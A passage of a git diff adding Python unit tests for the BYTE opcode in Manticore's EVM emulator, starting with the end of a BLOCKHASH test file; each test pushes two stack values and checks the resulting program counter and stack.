+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BLOCKHASH_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='@'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMBYTE.py b/tests/EVM/test_EVMBYTE.py
new file mode 100644
index 0000000..4c3c33a
--- /dev/null
+++ b/tests/EVM/test_EVMBYTE.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_BYTE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_BYTE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [255L])
+
+    def test_BYTE_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [255L])
+
+    def test_BYTE_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [255L])
+
+    def test_BYTE_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_BYTE_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_BYTE_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [127L])
+
+    def test_BYTE_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [255L])
+
+    def test_BYTE_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x1a'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
